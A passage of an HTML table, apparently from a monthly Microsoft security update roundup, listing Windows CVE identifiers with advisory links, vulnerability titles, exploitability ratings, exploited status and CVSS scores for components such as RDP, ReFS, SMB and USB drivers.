Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58608">CVE-2026-58608</a></td><td><p>Windows Print Spooler Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50469">CVE-2026-50469</a></td><td><p>Windows Projected File System Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50434">CVE-2026-50434</a></td><td><p>Windows Push Notification Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50339">CVE-2026-50339</a></td><td><p>Windows Push Notification Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50430">CVE-2026-50430</a></td><td><p>Windows Push Notification Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50334">CVE-2026-50334</a></td><td><p>Windows Push Notification Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-44800">CVE-2026-44800</a></td><td><p>Windows Push Notifications Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50363">CVE-2026-50363</a></td><td><p>Windows Push Notifications Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50431">CVE-2026-50431</a></td><td><p>Windows Quality of Service (QoS) Packet Scheduler Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50372">CVE-2026-50372</a></td><td><p>Windows Redirected Drive Buffering System Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54982">CVE-2026-54982</a></td><td><p>Windows Reliable Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54995">CVE-2026-54995</a></td><td><p>Windows Reliable Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50666">CVE-2026-50666</a></td><td><p>Windows Remote Access Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56647">CVE-2026-56647</a></td><td><p>Windows Remote Access Service Infrastructure Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50330">CVE-2026-50330</a></td><td><p>Windows Remote Desktop Client Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50376">CVE-2026-50376</a></td><td><p>Windows Remote Desktop Client Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50504">CVE-2026-50504</a></td><td><p>Windows Remote Desktop Client Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58533">CVE-2026-58533</a></td><td><p>Windows Remote Desktop Client Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58535">CVE-2026-58535</a></td><td><p>Windows Remote Desktop Client Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58546">CVE-2026-58546</a></td><td><p>Windows Remote Desktop Client Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58539">CVE-2026-58539</a></td><td><p>Windows Remote Desktop Client Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55003">CVE-2026-55003</a></td><td><p>Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57979">CVE-2026-57979</a></td><td><p>Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50445">CVE-2026-50445</a></td><td><p>Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50497">CVE-2026-50497</a></td><td><p>Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54126">CVE-2026-54126</a></td><td><p>Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57982">CVE-2026-57982</a></td><td><p>Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50369">CVE-2026-50369</a></td><td><p>Windows Remote Desktop Services Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58626">CVE-2026-58626</a></td><td><p>Windows Remote Desktop Services Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55014">CVE-2026-55014</a></td><td><p>Windows Remote Help Defense Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50318">CVE-2026-50318</a></td><td><p>Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50407">CVE-2026-50407</a></td><td><p>Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50357">CVE-2026-50357</a></td><td><p>Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50441">CVE-2026-50441</a></td><td><p>Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50668">CVE-2026-50668</a></td><td><p>Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>6.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54109">CVE-2026-54109</a></td><td><p>Windows Resilient File System (ReFS) Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49792">CVE-2026-49792</a></td><td><p>Windows Resilient File System (ReFS) Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49793">CVE-2026-49793</a></td><td><p>Windows Resilient File System (ReFS) Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50362">CVE-2026-50362</a></td><td><p>Windows Resilient File System (ReFS) Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50492">CVE-2026-50492</a></td><td><p>Windows Resilient File System (ReFS) Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>6.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50501">CVE-2026-50501</a></td><td><p>Windows Resilient File System (ReFS) Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58530">CVE-2026-58530</a></td><td><p>Windows Resilient File System (ReFS) Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49791">CVE-2026-49791</a></td><td><p>Windows Routing and Remote Access Service (RRAS) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50451">CVE-2026-50451</a></td><td><p>Windows Routing and Remote Access Service (RRAS) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57096">CVE-2026-57096</a></td><td><p>Windows Routing and Remote Access Service (RRAS) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50323">CVE-2026-50323</a></td><td><p>Windows Runtime Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50452">CVE-2026-50452</a></td><td><p>Windows Runtime Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50348">CVE-2026-50348</a></td><td><p>Windows Runtime Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50345">CVE-2026-50345</a></td><td><p>Windows Runtime Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50322">CVE-2026-50322</a></td><td><p>Windows Runtime Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50340">CVE-2026-50340</a></td><td><p>Windows Runtime Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50410">CVE-2026-50410</a></td><td><p>Windows Runtime Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50449">CVE-2026-50449</a></td><td><p>Windows Runtime Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50460">CVE-2026-50460</a></td><td><p>Windows Runtime Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50403">CVE-2026-50403</a></td><td><p>Windows Runtime Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50385">CVE-2026-50385</a></td><td><p>Windows Runtime Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50413">CVE-2026-50413</a></td><td><p>Windows Runtime Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50457">CVE-2026-50457</a></td><td><p>Windows Runtime Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50486">CVE-2026-50486</a></td><td><p>Windows Runtime Elevation of Privilege Vulnerability</p></td><td><p>N/A</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50503">CVE-2026-50503</a></td><td><p>Windows Runtime Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54125">CVE-2026-54125</a></td><td><p>Windows Runtime Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58527">CVE-2026-58527</a></td><td><p>Windows Runtime Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50373">CVE-2026-50373</a></td><td><p>Windows Search Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50679">CVE-2026-50679</a></td><td><p>Windows Search Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-44806">CVE-2026-44806</a></td><td><p>Windows Secure Channel Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50681">CVE-2026-50681</a></td><td><p>Windows Secure Channel Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56186">CVE-2026-56186</a></td><td><p>Windows Secure Channel Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42982">CVE-2026-42982</a></td><td><p>Windows Secure Kernel Mode Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50392">CVE-2026-50392</a></td><td><p>Windows Secure Kernel Mode Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50694">CVE-2026-50694</a></td><td><p>Windows Secure Socket Tunneling Protocol (SSTP) Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50367">CVE-2026-50367</a></td><td><p>Windows Sensor Data Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58619">CVE-2026-58619</a></td><td><p>Windows Sensor Data Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50311">CVE-2026-50311</a></td><td><p>Windows Server Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56188">CVE-2026-56188</a></td><td><p>Windows Server Network driver Remote Code Execution Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50444">CVE-2026-50444</a></td><td><p>Windows Server Update Service (WSUS) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50328">CVE-2026-50328</a></td><td><p>Windows Server Update Service (WSUS) Tampering Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58531">CVE-2026-58531</a></td><td><p>Windows SMB Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54997">CVE-2026-54997</a></td><td><p>Windows SMB Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49801">CVE-2026-49801</a></td><td><p>Windows SMB Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr></tbody></table><p></p><p></p><p></p><table><tbody><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50690"><br>CVE-2026-50690</a></td><td><p>Windows SMB Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56168">CVE-2026-56168</a></td><td><p>Windows SMB Server Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50360">CVE-2026-50360</a></td><td><p>Windows SMB Server Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57089">CVE-2026-57089</a></td><td><p>Windows SMB Server Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50333">CVE-2026-50333</a></td><td><p>Windows Spaceport.sys Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50298">CVE-2026-50298</a></td><td><p>Windows Spaceport.sys Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>6.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49171">CVE-2026-49171</a></td><td><p>Windows Speech Runtime Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49170">CVE-2026-49170</a></td><td><p>Windows StateRepository API Server file Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58526">CVE-2026-58526</a></td><td><p>Windows Storage Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50299">CVE-2026-50299</a></td><td><p>Windows Storage Spaces Direct Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50418">CVE-2026-50418</a></td><td><p>Windows System Secure Feature Bypass Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50306">CVE-2026-50306</a></td><td><p>Windows TCP/IP Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50307">CVE-2026-50307</a></td><td><p>Windows TCP/IP Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49177">CVE-2026-49177</a></td><td><p>Windows TCP/IP Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54999">CVE-2026-54999</a></td><td><p>Windows TCP/IP Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50669">CVE-2026-50669</a></td><td><p>Windows Telephony Server Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54124">CVE-2026-54124</a></td><td><p>Windows Terminal Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50350">CVE-2026-50350</a></td><td><p>Windows Trusted Runtime Interface Driver Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50326">CVE-2026-50326</a></td><td><p>Windows Unified Consent System Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49790">CVE-2026-49790</a></td><td><p>Windows Universal Disk Format File System Driver (UDFS) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50498">CVE-2026-50498</a></td><td><p>Windows Universal Disk Format File System Driver (UDFS) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58547">CVE-2026-58547</a></td><td><p>Windows Universal Plug and Play (UPnP) Device Host Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49794">CVE-2026-49794</a></td><td><p>Windows USB Audio Class Driver Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>4.6</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50453">CVE-2026-50453</a></td><td><p>Windows USB Audio Class Driver Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58528">CVE-2026-58528</a></td><td><p>Windows USB Audio Class Driver Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50321">CVE-2026-50321</a></td><td><p>Windows USB Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50479">CVE-2026-50479</a></td><td><p>Windows USB Hub Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55000">CVE-2026-55000</a></td><td><p>Windows USB Print Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.4</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54991">CVE-2026-54991</a></td><td><p>Windows USB Print Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54996">CVE-2026-54996</a></td><td><p>Windows USB Print Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less 